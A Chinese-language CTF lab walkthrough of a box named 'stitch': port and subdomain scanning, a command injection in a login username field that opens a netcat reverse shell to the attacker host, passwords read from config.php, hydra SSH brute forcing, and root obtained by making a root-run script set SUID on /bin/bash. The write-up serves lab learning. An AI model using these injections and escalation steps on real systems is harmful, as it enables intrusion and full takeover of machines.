stitch靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.19

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.19

22和80端口是开放的。进入网页,发现域名stitch.dsz:

2、域名重定向

修改kali中hosts:

bash 复制代码
 vi /etc/hosts

进入hosts文件里,添加:

bash 复制代码
192.168.1.19 stitch.dsz

:wq!退出,重新访问http://stitch.dsz ,发现域名重定向了:

使用子域名扫描工具:

bash 复制代码
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stitch.dsz -H 'Host:FUZZ.stitch.dsz' --hw 1348

扫出来3个子域名,http://mail.stitch.dsz 、http://dog.stitch.dsz 、http://iot.stitch.dsz:

重新编辑kali里面的/etc/hosts文件:

bash 复制代码
192.168.1.19 stitch.dsz dog.stitch.dsz mail.stitch.dsz iot.Stitch.dsz

顺便修改windows下的Hosts文件:

bash 复制代码
C:\Windows\System32\drivers\etc\hosts

3、NC反弹

登录http://iot.stitch.dsz/,爆破用户名和密码的时候,可以对用户名构造nc连接语句:

bash 复制代码
;busybox nc 192.168.1.4 4444 -e /bin/bash;

调整格式:

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null
CTRL+Z
stty raw -echo;fg
reset
xterm
cd ..
find ./

4、文件查找

在/www目录下有个./dog/config.php文件:

可以发现里面存了一堆密码:

bash 复制代码
3c4900896d92da
3c4900896d92da789abc
s3cur3P@ssw0rd

5、iiiii用户登录

先拿iiiii:3c4900896d92da对应的用户名、密码远程访问iiiii用户:

bash 复制代码
su - iiiii

6、/HOME下多用户筛选

筛选/home目录下的所有用户:

bash 复制代码
#写法1
ls -al | awk '{print $NF}'
#写法2,输出结果跳过前三行
ls -al | awk ' NR>3 {print $NF}'

7、多用户爆破

bash 复制代码
hydra -L usr.txt -P pass1.txt ssh://192.168.1.19 -I -e nrs

切换iotuser用户后,发现可以执行iot_runner的脚本:

8、iot_runner程序漏洞利用

在iotuser用户下操作:

bash 复制代码
cd /tmp
vi a.sh
IOT#
chmod +s /bin/bash

chmod 600 /tmp/a.sh

在iiiii用户下操作:

bash 复制代码
sudo /usr/bin/push_iot /tmp/a.sh

在iotuser用户下操作:

bash 复制代码
sudo /usr/bin/iot_runner a.sh
bash -p

大致意思解释 :

(1)在 iotuser 下:创建恶意脚本

bash 复制代码
cd /tmp        # 进入临时目录(所有人可写)
vi a.sh        # 创建脚本 a.sh

脚本内容 最关键:

复制代码
chmod +s /bin/bash
  • chmod +s:给文件设置 SUID 权限
  • /bin/bash:系统的 bash 命令行工具
  • 效果 :让 /bin/bash 变成 任何人运行都直接获得 root 权限

(2)设置脚本权限

bash 复制代码
chmod 600 /tmp/a.sh
  • 让脚本只能被 iotuser 读写
  • 避免被其他用户修改或删除

(3)在 iiiii 用户下:把脚本推给 iot_runner

bash 复制代码
sudo /usr/bin/push_iot /tmp/a.sh

作用:

  • 将 /tmp/a.sh 放到 iot_runner 可以执行的位置
  • 让后面的 iot_runner 能找到并运行它

( 4)回到 iotuser:以 root 权限执行恶意脚本

bash 复制代码
sudo /usr/bin/iot_runner a.sh
  1. iot_runner 是 root 权限运行

  2. 它执行了你的 a.sh

  3. a.sh 执行:

    bash 复制代码
    chmod +s /bin/bash

    结果:/bin/bash 获得了 SUID root 权限


(5)最终:拿到 root 权限

bash 复制代码
bash -p

-p 是什么?

  • 保留 SUID 权限
  • 不降级权限
  • 直接以 root 身份打开 shell

执行完这一句,你就已经 从普通用户 → 变成 root 了!

相关推荐
zhangrelay8 小时前
新版|-|单片机原理与接口技术-2026持续改进优化-从MEGA2560-ESP32与Wokwi到ROS2-Lyrical与具身智能栈
笔记·单片机·嵌入式硬件·学习
Jimmy8 小时前
深夜突袭:我们的午夜战场
笔记·产品·电子书
志尊宝10 小时前
AI原生前端开发(025):端侧AI实战项目:智能笔记助手
人工智能·笔记·ai-native
lll235269177911 小时前
线下多人发言对比与录音操作
笔记·智能手机
叼烟扛炮12 小时前
Linux 学习笔记(三十三):线程互斥——互斥锁(Mutex)与死锁
linux·运维·服务器·笔记·学习·1024程序员节
m4Rk_13 小时前
【论文阅读】Agent 记忆机制(113):Agentic Memory Management——从“检索相关信息”走向“管理 Agent 内部记忆”
论文阅读·人工智能·学习·开源·github
深圳老胡14 小时前
STM32C5A3ZG 网络调试总结:从启动失败到连续 Ping 稳定
笔记·stm32·单片机·代码规范
辣知14 小时前
辣知·化智92 《山海经》里的史前密码
学习
职豚求职小程序刷题14 小时前
宁德时代社招高岗晋升测评笔试改版了
笔记
CarIise14 小时前
JDBC 与数据库事务核心
数据库·笔记